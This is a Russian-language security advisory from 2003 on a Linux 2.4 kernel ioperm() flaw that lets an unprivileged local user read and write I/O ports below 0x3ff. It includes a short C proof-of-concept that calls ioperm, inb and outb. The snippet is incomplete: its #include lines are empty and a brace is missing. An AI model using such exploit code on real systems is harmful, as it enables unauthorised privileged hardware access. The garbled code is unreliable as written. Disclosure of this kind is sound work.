Уязвимость в ioperm() позволяет локальному пользователю обращаться к привилегированным I/O портам

Дата публикации:
19.05.2003
Всего просмотров:
925
Опасность:
Низкая
Наличие исправления:
Нет
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Локальная
Воздействие:
Повышение привилегий
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Linux Kernel 2.4.x
Описание: Уязвимость обнаружена в Linux 2.4 ядре в 'ioperm' системном вызове. Локальный пользователь может получить доступ к I/O портам на системе.

Сообщается, что локальный пользователь может получить доступ на чтение и запись к привилегированным I/O портам (например, к портам 1023 и ниже). Пример - программа позволяет непривилегированному пользователю читать и записывать в I/O порты с адресом ниже 0x3ff (1023):

#include 
#include 
#include 

int main(int argc, char **argv)
 
         if (argc < 2) {
                 (void) fprintf(stderr, "Usage: %s PORT [VALUE]\n", argv[0]);
                 return (2);
         }

         if (ioperm(1023, 1, 0) == -1) {
                 perror("ioperm");
                 return (1);
         }

         if (argc < 3) {
                 (void) printf("0x%02x\n", inb(atoi(argv[1])));
         } else {
                 outb(atoi(argv[2]), atoi(argv[1]));
         }

         return (0);
Уязвимость обнаружена в 2.4, prior to 2.4.21-rc2


Ссылки: Security vulnerability in "ioperm" system call
или введите имя

CAPTCHA